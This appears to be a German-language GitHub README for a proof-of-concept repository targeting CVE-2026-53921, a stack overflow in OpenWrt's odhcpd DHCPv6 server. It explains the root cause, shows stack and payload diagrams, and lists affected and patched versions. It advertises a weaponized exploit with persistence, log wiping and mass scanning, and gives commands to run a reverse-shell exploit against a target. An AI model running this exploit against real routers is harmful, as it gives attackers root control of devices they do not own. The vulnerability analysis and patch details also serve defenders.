
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Detaillierter und umfassender Write-Up sowie Verifier & Multi-Exploit für OpenWrt DHCPv6 RCE. Dual-Vektor (IA_NA/IA_PD) Overflow mit MIPS/ARM-Shellcode, ROP-Ketten, SOCKS5-Proxy, Persistenz, Log-Wiping und Massen-Scanning. Nutze es ethisch, bleib legal. 🔒

- Nur für Bildungszwecke und autorisierte Tests. Unbefugte Nutzung ist illegal.**
CVE-2026-53921 ist ein kritischer Stack-Buffer-Overflow im odhcpd-Daemon von OpenWrt – dem standardmäßigen DHCPv6/DHCPv4/RA-Server.
Die Schwachstelle befindet sich im DHCPv6-Nachrichtenverarbeitungscode von odhcpd,
genauer gesagt in den Funktionen build_ia() und dhcpv6_ia_handle_IAs().
Der Fehler tritt während der Serialisierung (Packen) von DHCPv6-Reply-
Paketen auf. Wenn odhcpd auf Client-Anfragen antwortet, konstruiert es die
Antwort in einem Stack-Buffer fester Größe von 512 Bytes ohne ordnungsgemäße
Grenzprüfung.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Ein Angreifer sendet eine DHCPv6 Request (oder Solicit) mit:
Jede Option verbraucht Stack-Speicher, während odhcpd seine Reply aufbaut. Die
angesammelten Daten überschreiten 512 Bytes und verursachen den Overflow.
Vektor Auslöser Overflow-Punkt
Site 1 5 IA_NA-Optionen build_ia() für IA_NA
mit IPv6-Adressen
build_ia() für IA_PDDie Grundursache ist identisch, aber der Overflow tritt in unterschiedlichen Code- Pfaden auf, wodurch beide Vektoren gleichermaßen ausnutzbar sind.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
Der Angreifer überschreibt die gespeicherte Rücksprungadresse, um sie auf seinen Shellcode im Speicher zeigen zu lassen.
Voraussetzung Beschreibung
Netzwerkzugriff Angreifer muss über IPv6-Konnektivität zum Ziel verfügen
Authentifizierung Keine -- unauthentifizierter Angriff
Berechtigungen odhcpd läuft als root, daher gewährt RCE
vollständige Systemkontrolle
In einem echten Exploit wird der Shellcode des Angreifers in den IAAddress- IPv6-Adressfeldern platziert (16 Bytes pro IA_NA). Die präparierten Pakete packen den Shellcode, NOP-Sled und die Rücksprungadresse in diese Felder.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Status RCE möglich?
odhcpd < e432dd6 Anfällig [+] Ja OpenWrt < 24.10.8 Anfällig [+] Ja OpenWrt < 25.12.5 Anfällig [+] Ja OpenWrt 24.10.8+ Gepatcht [-] Nein OpenWrt 25.12.5+ Gepatcht [-] Nein odhcpd master + e432dd6 Gepatcht [-] Nein
Diese Schwachstelle ist besonders gefährlich, weil:
odhcpd standardmäßig auf OpenWrt-Installationen aktiviert ist.| Komponente | Anfällige Versionen | Behoben in |
|---|---|---|
odhcpd (master branch) | vor Commit e432dd6 | e432dd6 oder später |
| OpenWrt releases | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
Dieses Repository stellt zwei unabhängige Skripte bereit:
| Skript | Zweck | Exploit-Code | Sicherheit |
|---|---|---|---|
verifier.py | Nicht‑intrusiver Schwachstellencheck | [-] Nein | [+] Sicher |
exploit.py | Vollständiger weaponisierter Exploit | [+] Ja | [!] Gefährlich |
verifier.py – Schwachstellenprüferexploit.py – Vollständiger ExploitIA_NA (Site1) und IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argument | Beschreibung |
|---|---|
-u, --target | Ziel-IPv6-Adresse (erforderlich) |
-i, --iface | Netzwerkschnittstelle (Standard: eth0) |
exploit.py